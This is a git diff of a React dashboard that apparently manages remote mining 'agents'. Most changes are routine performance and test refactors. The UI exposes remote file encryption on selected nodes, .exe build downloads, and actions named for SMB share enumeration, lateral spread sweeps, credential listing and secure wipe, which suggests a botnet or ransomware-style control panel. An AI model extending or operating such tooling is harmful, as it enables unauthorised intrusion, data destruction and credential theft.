onClick={() => navigate(e.name, e.is_dir)}
|
|
||||||
title={e.is_dir ? 'Open folder' : `${e.size} bytes`}
|
|
||||||
>
|
|
||||||
{e.is_dir ? '📁' : '📄'} {e.name}
|
|
||||||
{!e.is_dir && (
|
|
||||||
<span className="rdb-size">
|
|
||||||
{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</button>
|
|
||||||
</li>
|
|
||||||
))}
|
|
||||||
</ul>
|
|
||||||
<div className="rdb-actions">
|
|
||||||
<label className="rdb-recursive">
|
|
||||||
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
|
|
||||||
Recursive
|
|
||||||
</label>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
className="button rdb-encrypt-btn"
|
|
||||||
disabled={!online || busy || encryptTargets.length === 0}
|
|
||||||
title="AES-256-GCM encrypt files at the current path on selected node(s)"
|
|
||||||
onClick={runEncrypt}
|
|
||||||
>
|
|
||||||
🔒 Encrypt path
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
{err && <p className="rdb-err">{err}</p>}
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
@@ -2,6 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react';
|
|||||||
import { createPortal } from 'react-dom';
|
import { createPortal } from 'react-dom';
|
||||||
import { docAnchorForField } from '../help/docAnchors';
|
import { docAnchorForField } from '../help/docAnchors';
|
||||||
import { FIELD_HELP } from '../help/settingHelp';
|
import { FIELD_HELP } from '../help/settingHelp';
|
||||||
|
import { UI_HELP } from '../help/uiHelp';
|
||||||
import './HelpTip.css';
|
import './HelpTip.css';
|
||||||
|
|
||||||
interface HelpTipProps {
|
interface HelpTipProps {
|
||||||
@@ -24,7 +25,7 @@ function DocReadMoreLink({ href }: { href: string }) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export function HelpTip({ field, label }: HelpTipProps) {
|
export function HelpTip({ field, label }: HelpTipProps) {
|
||||||
const text = FIELD_HELP[field];
|
const text = FIELD_HELP[field] ?? UI_HELP[field];
|
||||||
const docAnchor = docAnchorForField(field);
|
const docAnchor = docAnchorForField(field);
|
||||||
const triggerRef = useRef<HTMLButtonElement>(null);
|
const triggerRef = useRef<HTMLButtonElement>(null);
|
||||||
const popupRef = useRef<HTMLDivElement>(null);
|
const popupRef = useRef<HTMLDivElement>(null);
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { ReactNode, useEffect, useRef, useState } from 'react';
|
import { ReactNode, memo, useEffect, useMemo, useRef, useState } from 'react';
|
||||||
import { NavLink, useLocation } from 'react-router-dom';
|
import { NavLink, useLocation } from 'react-router-dom';
|
||||||
import AmbientBackground from '../Ambient/AmbientBackground';
|
import AmbientBackground from '../Ambient/AmbientBackground';
|
||||||
import SystemStatusBar from '../Visual/SystemStatusBar';
|
import SystemStatusBar from '../Visual/SystemStatusBar';
|
||||||
@@ -15,7 +15,7 @@ import { resolvePageWeather } from '../../help/pageWeather';
|
|||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import { usePresence } from '../../context/PresenceContext';
|
import { usePresence } from '../../context/PresenceContext';
|
||||||
import ComradeAvatar from '../Presence/ComradeAvatar';
|
import ComradeAvatar from '../Presence/ComradeAvatar';
|
||||||
import type { ServerConfig } from '../../types';
|
import type { ServerConfig, ServerInfo } from '../../types';
|
||||||
import '../Presence/Presence.css';
|
import '../Presence/Presence.css';
|
||||||
import './Layout.css';
|
import './Layout.css';
|
||||||
import './MobileNav.css';
|
import './MobileNav.css';
|
||||||
@@ -145,12 +145,19 @@ function formatHashrate(hs: number): string {
|
|||||||
return `${hs.toFixed(0)} H/s`;
|
return `${hs.toFixed(0)} H/s`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function FleetReadout() {
|
const FleetReadout = memo(function FleetReadout() {
|
||||||
const { agents } = useWebSocket();
|
const { agents } = useWebSocket();
|
||||||
const online = agents.filter((a) => a.status === 'online').length;
|
const { online, total, totalHashrate, fillPct } = useMemo(() => {
|
||||||
const total = agents.length;
|
const on = agents.filter((a) => a.status === 'online').length;
|
||||||
const totalHashrate = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
const tot = agents.length;
|
||||||
const fillPct = total > 0 ? Math.round((online / total) * 100) : 0;
|
const hr = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
||||||
|
return {
|
||||||
|
online: on,
|
||||||
|
total: tot,
|
||||||
|
totalHashrate: hr,
|
||||||
|
fillPct: tot > 0 ? Math.round((on / tot) * 100) : 0,
|
||||||
|
};
|
||||||
|
}, [agents]);
|
||||||
|
|
||||||
// Tick animation: flash hashrate value whenever it meaningfully changes
|
// Tick animation: flash hashrate value whenever it meaningfully changes
|
||||||
const [flash, setFlash] = useState(false);
|
const [flash, setFlash] = useState(false);
|
||||||
@@ -191,13 +198,18 @@ function FleetReadout() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
});
|
||||||
|
|
||||||
function MobileTopStats() {
|
const MobileTopStats = memo(function MobileTopStats() {
|
||||||
const { agents } = useWebSocket();
|
const { agents } = useWebSocket();
|
||||||
const online = agents.filter((a) => a.status === 'online').length;
|
const { online, total, hr } = useMemo(() => {
|
||||||
const total = agents.length;
|
const on = agents.filter((a) => a.status === 'online').length;
|
||||||
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
return {
|
||||||
|
online: on,
|
||||||
|
total: agents.length,
|
||||||
|
hr: agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0),
|
||||||
|
};
|
||||||
|
}, [agents]);
|
||||||
return (
|
return (
|
||||||
<div className="mobile-top-stats">
|
<div className="mobile-top-stats">
|
||||||
<strong>
|
<strong>
|
||||||
@@ -206,17 +218,23 @@ function MobileTopStats() {
|
|||||||
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
|
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
});
|
||||||
|
|
||||||
export default function Layout({ children }: LayoutProps) {
|
export default function Layout({ children }: LayoutProps) {
|
||||||
const location = useLocation();
|
const location = useLocation();
|
||||||
const isMobile = useIsMobileLayout();
|
const isMobile = useIsMobileLayout();
|
||||||
const { othersOnline, comrades } = usePresence();
|
const { othersOnline, comrades } = usePresence();
|
||||||
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
|
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
|
||||||
|
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||||
const [moreOpen, setMoreOpen] = useState(false);
|
const [moreOpen, setMoreOpen] = useState(false);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
api.getConfig().then(setServerConfig).catch(() => {});
|
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||||
|
.then(([cfg, info]) => {
|
||||||
|
setServerConfig(cfg);
|
||||||
|
setServerInfo(info);
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -232,7 +250,7 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
};
|
};
|
||||||
}, [moreOpen]);
|
}, [moreOpen]);
|
||||||
|
|
||||||
const setupStatus = getSetupStatus(serverConfig);
|
const setupStatus = getSetupStatus(serverConfig, serverInfo);
|
||||||
const pageWeather = resolvePageWeather(location.pathname);
|
const pageWeather = resolvePageWeather(location.pathname);
|
||||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||||
const mobileShortLabel: Record<string, string> = {
|
const mobileShortLabel: Record<string, string> = {
|
||||||
|
|||||||
@@ -170,6 +170,15 @@ export default function MatrixRain() {
|
|||||||
|
|
||||||
let raf: number;
|
let raf: number;
|
||||||
let lastTime = 0;
|
let lastTime = 0;
|
||||||
|
let paused = document.visibilityState === 'hidden';
|
||||||
|
|
||||||
|
const onVis = () => {
|
||||||
|
paused = document.visibilityState === 'hidden';
|
||||||
|
if (!paused && !raf) {
|
||||||
|
raf = requestAnimationFrame(draw);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
document.addEventListener('visibilitychange', onVis);
|
||||||
|
|
||||||
const drawWordDrop = (wd: WordDrop, speedMult: number, intense: boolean) => {
|
const drawWordDrop = (wd: WordDrop, speedMult: number, intense: boolean) => {
|
||||||
const H = canvas.height;
|
const H = canvas.height;
|
||||||
@@ -204,6 +213,10 @@ export default function MatrixRain() {
|
|||||||
};
|
};
|
||||||
|
|
||||||
const draw = (ts: number) => {
|
const draw = (ts: number) => {
|
||||||
|
if (paused) {
|
||||||
|
raf = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
raf = requestAnimationFrame(draw);
|
raf = requestAnimationFrame(draw);
|
||||||
const intense = forgingRef.current || crucibleRef.current;
|
const intense = forgingRef.current || crucibleRef.current;
|
||||||
const targetFps = intense ? 50 : 24;
|
const targetFps = intense ? 50 : 24;
|
||||||
@@ -317,6 +330,7 @@ export default function MatrixRain() {
|
|||||||
raf = requestAnimationFrame(draw);
|
raf = requestAnimationFrame(draw);
|
||||||
|
|
||||||
return () => {
|
return () => {
|
||||||
|
document.removeEventListener('visibilitychange', onVis);
|
||||||
cancelAnimationFrame(raf);
|
cancelAnimationFrame(raf);
|
||||||
clearInterval(injectInterval);
|
clearInterval(injectInterval);
|
||||||
clearInterval(wordInterval);
|
clearInterval(wordInterval);
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
import { useEffect, useState } from 'react';
|
import { useCallback, useEffect, useState } from 'react';
|
||||||
|
import { useVisibleInterval } from '../../hooks/usePageVisible';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import ComradeIndicators from '../Presence/ComradeIndicators';
|
import ComradeIndicators from '../Presence/ComradeIndicators';
|
||||||
import { usePresence } from '../../context/PresenceContext';
|
import { usePresence } from '../../context/PresenceContext';
|
||||||
@@ -12,34 +13,37 @@ export default function SystemStatusBar() {
|
|||||||
const [buildCount, setBuildCount] = useState(0);
|
const [buildCount, setBuildCount] = useState(0);
|
||||||
const { othersOnline } = usePresence();
|
const { othersOnline } = usePresence();
|
||||||
|
|
||||||
useEffect(() => {
|
const poll = useCallback(async () => {
|
||||||
const poll = async () => {
|
try {
|
||||||
try {
|
await api.healthCheck();
|
||||||
await api.healthCheck();
|
setServerOk(true);
|
||||||
setServerOk(true);
|
} catch {
|
||||||
} catch {
|
setServerOk(false);
|
||||||
setServerOk(false);
|
}
|
||||||
}
|
try {
|
||||||
try {
|
const agents = await api.listAgents();
|
||||||
const agents = await api.listAgents();
|
setAgentTotal(agents.length);
|
||||||
setAgentTotal(agents.length);
|
setAgentOnline(agents.filter((a) => a.status === 'online').length);
|
||||||
setAgentOnline(agents.filter((a) => a.status === 'online').length);
|
} catch {
|
||||||
} catch {
|
setAgentTotal(0);
|
||||||
setAgentTotal(0);
|
setAgentOnline(0);
|
||||||
setAgentOnline(0);
|
}
|
||||||
}
|
try {
|
||||||
try {
|
const builds = await api.listBuilds();
|
||||||
const builds = await api.listBuilds();
|
setBuildCount(builds.length);
|
||||||
setBuildCount(builds.length);
|
} catch {
|
||||||
} catch {
|
setBuildCount(0);
|
||||||
setBuildCount(0);
|
}
|
||||||
}
|
|
||||||
};
|
|
||||||
poll();
|
|
||||||
const id = setInterval(poll, 15000);
|
|
||||||
return () => clearInterval(id);
|
|
||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
void poll();
|
||||||
|
}, [poll]);
|
||||||
|
|
||||||
|
useVisibleInterval(() => {
|
||||||
|
void poll();
|
||||||
|
}, 15000);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className={`system-status-bar${othersOnline ? ' system-status-bar--comrades-online' : ''}`}>
|
<div className={`system-status-bar${othersOnline ? ' system-status-bar--comrades-online' : ''}`}>
|
||||||
<span className={`status-pill ${serverOk ? 'ok' : 'bad'}`}>
|
<span className={`status-pill ${serverOk ? 'ok' : 'bad'}`}>
|
||||||
|
|||||||
@@ -132,9 +132,7 @@ export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity
|
|||||||
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
|
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
|
||||||
<path
|
<path
|
||||||
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
|
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
|
||||||
stroke="#00f5ff"
|
stroke="var(--neon-cyan)"
|
||||||
strokeWidth="0.16"
|
|
||||||
opacity="0.6"
|
|
||||||
/>
|
/>
|
||||||
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
|
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
|
||||||
</g>
|
</g>
|
||||||
@@ -211,7 +209,7 @@ export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity
|
|||||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
|
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
|
||||||
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
|
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
|
||||||
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
|
<circle cx="38" cy="38" r="8" stroke="var(--neon-cyan)" strokeWidth="0.25" />
|
||||||
<polygon
|
<polygon
|
||||||
points="38,22 46,30 38,38 30,30"
|
points="38,22 46,30 38,38 30,30"
|
||||||
strokeWidth="0.2"
|
strokeWidth="0.2"
|
||||||
@@ -243,7 +241,7 @@ export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity
|
|||||||
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
|
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
|
||||||
<polygon points={tri(32, false)} />
|
<polygon points={tri(32, false)} />
|
||||||
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
|
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
|
||||||
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
|
<polygon points={tri(16, false)} stroke="var(--neon-cyan)" opacity="0.55" />
|
||||||
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
|
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
|
||||||
</g>
|
</g>
|
||||||
</svg>
|
</svg>
|
||||||
|
|||||||
@@ -67,9 +67,10 @@ vi.mock('../context/ForgeContext', () => ({
|
|||||||
|
|
||||||
vi.mock('../api/download', () => {
|
vi.mock('../api/download', () => {
|
||||||
const downloadAuthedFile = vi.fn();
|
const downloadAuthedFile = vi.fn();
|
||||||
|
const downloadApiFile = vi.fn();
|
||||||
return {
|
return {
|
||||||
downloadAuthedFile,
|
downloadAuthedFile,
|
||||||
downloadApiFile: downloadAuthedFile,
|
downloadApiFile,
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -188,15 +189,22 @@ describe('DownloadButton', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('downloads on click and shows busy label', async () => {
|
it('downloads on click and shows busy label', async () => {
|
||||||
downloadApiFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 50)));
|
let resolveDownload!: () => void;
|
||||||
|
downloadApiFileMock.mockImplementation(
|
||||||
|
() => new Promise<void>((r) => { resolveDownload = r; })
|
||||||
|
);
|
||||||
render(
|
render(
|
||||||
<DownloadButton apiPath="/api/x" filename="a.bin">
|
<DownloadButton apiPath="/api/x" filename="a.bin">
|
||||||
Save
|
Save
|
||||||
</DownloadButton>
|
</DownloadButton>
|
||||||
);
|
);
|
||||||
const btn = screen.getByRole('button', { name: 'Save' });
|
const btn = screen.getByRole('button', { name: 'Save' });
|
||||||
await userEvent.setup().click(btn);
|
const user = userEvent.setup();
|
||||||
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
await user.click(btn);
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
|
||||||
|
});
|
||||||
|
resolveDownload();
|
||||||
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -222,14 +230,21 @@ describe('AuthDownloadButton', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('calls downloadAuthedFile and shows ellipsis while busy', async () => {
|
it('calls downloadAuthedFile and shows ellipsis while busy', async () => {
|
||||||
downloadAuthedFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 30)));
|
let resolveDownload!: () => void;
|
||||||
|
downloadAuthedFileMock.mockImplementation(
|
||||||
|
() => new Promise<void>((r) => { resolveDownload = r; })
|
||||||
|
);
|
||||||
render(
|
render(
|
||||||
<AuthDownloadButton apiPath="/api/build/1" filename="b.exe">
|
<AuthDownloadButton apiPath="/api/build/1" filename="b.exe">
|
||||||
DL
|
DL
|
||||||
</AuthDownloadButton>
|
</AuthDownloadButton>
|
||||||
);
|
);
|
||||||
await userEvent.setup().click(screen.getByRole('button', { name: 'DL' }));
|
const user = userEvent.setup();
|
||||||
expect(screen.getByRole('button', { name: '…' })).toBeDisabled();
|
await user.click(screen.getByRole('button', { name: 'DL' }));
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(screen.getByRole('button', { name: '…' })).toBeDisabled();
|
||||||
|
});
|
||||||
|
resolveDownload();
|
||||||
await waitFor(() =>
|
await waitFor(() =>
|
||||||
expect(downloadAuthedFileMock).toHaveBeenCalledWith('/api/build/1', 'b.exe')
|
expect(downloadAuthedFileMock).toHaveBeenCalledWith('/api/build/1', 'b.exe')
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
import React, { useEffect, useRef, useCallback, useState } from 'react';
|
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
|
||||||
|
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
|
||||||
import type {
|
import type {
|
||||||
WSDashboardInit,
|
WSDashboardInit,
|
||||||
WSAgentOffline,
|
WSAgentOffline,
|
||||||
@@ -22,6 +23,12 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
const wsRef = useRef<WebSocket | null>(null);
|
const wsRef = useRef<WebSocket | null>(null);
|
||||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||||
const unmounted = useRef(false);
|
const unmounted = useRef(false);
|
||||||
|
// Guard: true while an openSocket() invocation is in-flight (awaiting ticket fetch).
|
||||||
|
// A second connect() call while one is already opening is a no-op — prevents duplicate
|
||||||
|
// sockets when 'aetherforge-auth' fires during the async fetch.
|
||||||
|
const openingRef = useRef(false);
|
||||||
|
// AbortController for the current in-flight ws-ticket fetch; replaced on each open attempt.
|
||||||
|
const ticketAbortRef = useRef<AbortController | null>(null);
|
||||||
const [isConnected, setIsConnected] = useState(false);
|
const [isConnected, setIsConnected] = useState(false);
|
||||||
const [agents, setAgents] = useState<Agent[]>([]);
|
const [agents, setAgents] = useState<Agent[]>([]);
|
||||||
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||||
@@ -69,12 +76,23 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const openSocket = async () => {
|
const openSocket = async () => {
|
||||||
|
if (openingRef.current) return;
|
||||||
|
openingRef.current = true;
|
||||||
|
|
||||||
|
// Cancel any previously in-flight ticket fetch before starting a new one.
|
||||||
|
if (ticketAbortRef.current) {
|
||||||
|
ticketAbortRef.current.abort();
|
||||||
|
}
|
||||||
|
const abortCtrl = new AbortController();
|
||||||
|
ticketAbortRef.current = abortCtrl;
|
||||||
|
|
||||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||||
let wsQuery = `token=${encodeURIComponent(token)}`;
|
let wsQuery = `token=${encodeURIComponent(token)}`;
|
||||||
try {
|
try {
|
||||||
const resp = await fetch('/api/v1/auth/ws-ticket', {
|
const resp = await fetch('/api/v1/auth/ws-ticket', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: authHeaders(),
|
headers: authHeaders(),
|
||||||
|
signal: abortCtrl.signal,
|
||||||
});
|
});
|
||||||
if (resp.ok) {
|
if (resp.ok) {
|
||||||
const data = (await resp.json()) as { ticket?: string };
|
const data = (await resp.json()) as { ticket?: string };
|
||||||
@@ -83,9 +101,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
/* fall back to legacy token query param */
|
/* fall back to legacy token query param — also catches AbortError */
|
||||||
|
} finally {
|
||||||
|
if (ticketAbortRef.current === abortCtrl) {
|
||||||
|
ticketAbortRef.current = null;
|
||||||
|
}
|
||||||
|
openingRef.current = false;
|
||||||
}
|
}
|
||||||
if (unmounted.current) return;
|
if (unmounted.current) return;
|
||||||
|
// If this invocation was aborted by a newer call, bail out — the newer
|
||||||
|
// call will (or already has) opened its own socket.
|
||||||
|
if (abortCtrl.signal.aborted) return;
|
||||||
|
|
||||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
|
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
|
||||||
const ws = new WebSocket(wsUrl);
|
const ws = new WebSocket(wsUrl);
|
||||||
@@ -106,7 +132,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
ws.onmessage = (event) => {
|
ws.onmessage = (event) => {
|
||||||
try {
|
try {
|
||||||
const msg = JSON.parse(event.data) as WSMessage;
|
const msg = JSON.parse(event.data) as WSMessage;
|
||||||
setLatestMessage(msg);
|
if (WS_LATEST_MESSAGE_TYPES.has(msg.type)) {
|
||||||
|
setLatestMessage(msg);
|
||||||
|
}
|
||||||
|
|
||||||
switch (msg.type) {
|
switch (msg.type) {
|
||||||
case 'init': {
|
case 'init': {
|
||||||
@@ -144,8 +172,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
}
|
}
|
||||||
case 'stats_update': {
|
case 'stats_update': {
|
||||||
const update = msg.payload as WSStatsUpdate;
|
const update = msg.payload as WSStatsUpdate;
|
||||||
setAgents((prev) =>
|
setAgents((prev) => {
|
||||||
prev.map((a) =>
|
const idx = prev.findIndex((a) => a.id === update.agent_id);
|
||||||
|
if (idx < 0) return prev;
|
||||||
|
if (agentStatsUnchanged(prev[idx], update)) return prev;
|
||||||
|
return prev.map((a) =>
|
||||||
a.id === update.agent_id
|
a.id === update.agent_id
|
||||||
? {
|
? {
|
||||||
...a,
|
...a,
|
||||||
@@ -196,9 +227,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
...(update.services !== undefined ? { services: update.services } : {}),
|
...(update.services !== undefined ? { services: update.services } : {}),
|
||||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||||
}
|
}
|
||||||
: a
|
: a,
|
||||||
)
|
);
|
||||||
);
|
});
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case 'new_share': {
|
case 'new_share': {
|
||||||
@@ -294,11 +325,37 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
};
|
};
|
||||||
}, [connect]);
|
}, [connect]);
|
||||||
|
|
||||||
|
const value = useMemo(
|
||||||
|
() => ({
|
||||||
|
isConnected,
|
||||||
|
agents,
|
||||||
|
recentShares,
|
||||||
|
fleetAlerts,
|
||||||
|
poolStatus,
|
||||||
|
aiActivity,
|
||||||
|
agentLogs,
|
||||||
|
commandResults,
|
||||||
|
policyAcks,
|
||||||
|
latestMessage,
|
||||||
|
sendDashboardMessage,
|
||||||
|
}),
|
||||||
|
[
|
||||||
|
isConnected,
|
||||||
|
agents,
|
||||||
|
recentShares,
|
||||||
|
fleetAlerts,
|
||||||
|
poolStatus,
|
||||||
|
aiActivity,
|
||||||
|
agentLogs,
|
||||||
|
commandResults,
|
||||||
|
policyAcks,
|
||||||
|
latestMessage,
|
||||||
|
sendDashboardMessage,
|
||||||
|
],
|
||||||
|
);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<WebSocketContext.Provider value={{
|
<WebSocketContext.Provider value={value}>
|
||||||
isConnected, agents, recentShares, fleetAlerts, poolStatus,
|
|
||||||
aiActivity, agentLogs, commandResults, policyAcks, latestMessage, sendDashboardMessage,
|
|
||||||
}}>
|
|
||||||
{children}
|
{children}
|
||||||
</WebSocketContext.Provider>
|
</WebSocketContext.Provider>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ import { describe, expect, it } from 'vitest';
|
|||||||
import { mockAgent } from '../test/fixtures';
|
import { mockAgent } from '../test/fixtures';
|
||||||
import {
|
import {
|
||||||
CRUCIBLE_PHASE_C_ACTIONS,
|
CRUCIBLE_PHASE_C_ACTIONS,
|
||||||
CRUCIBLE_PHASE_C_STUBS,
|
|
||||||
buildSSHForwardPayload,
|
buildSSHForwardPayload,
|
||||||
isWindowsPlatform,
|
isWindowsPlatform,
|
||||||
newPortForwardRow,
|
newPortForwardRow,
|
||||||
@@ -84,7 +83,9 @@ describe('crucibleOps', () => {
|
|||||||
it('lists Phase C actions', () => {
|
it('lists Phase C actions', () => {
|
||||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
||||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
||||||
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('credential_vault_list');
|
||||||
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('secure_wipe');
|
||||||
|
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('tunnel_ssh_forward');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('parseRemoteHostPort splits host and port', () => {
|
it('parseRemoteHostPort splits host and port', () => {
|
||||||
|
|||||||
@@ -16,15 +16,6 @@ export const CRUCIBLE_PHASE_C_ACTIONS = [
|
|||||||
|
|
||||||
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
||||||
|
|
||||||
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
|
|
||||||
export const CRUCIBLE_PHASE_C_STUBS = [
|
|
||||||
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
|
|
||||||
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
|
|
||||||
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
|
|
||||||
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
|
|
||||||
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
|
|
||||||
] as const;
|
|
||||||
|
|
||||||
export function isWindowsPlatform(platform?: string): boolean {
|
export function isWindowsPlatform(platform?: string): boolean {
|
||||||
if (!platform) return true;
|
if (!platform) return true;
|
||||||
return platform.toLowerCase().includes('win');
|
return platform.toLowerCase().includes('win');
|
||||||
|
|||||||
@@ -25,15 +25,15 @@ describe('docAnchors', () => {
|
|||||||
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
|
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('returns /docs/# paths', () => {
|
it('returns /docs anchor paths', () => {
|
||||||
for (const path of Object.values(DOC_ANCHORS)) {
|
for (const path of Object.values(DOC_ANCHORS)) {
|
||||||
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
|
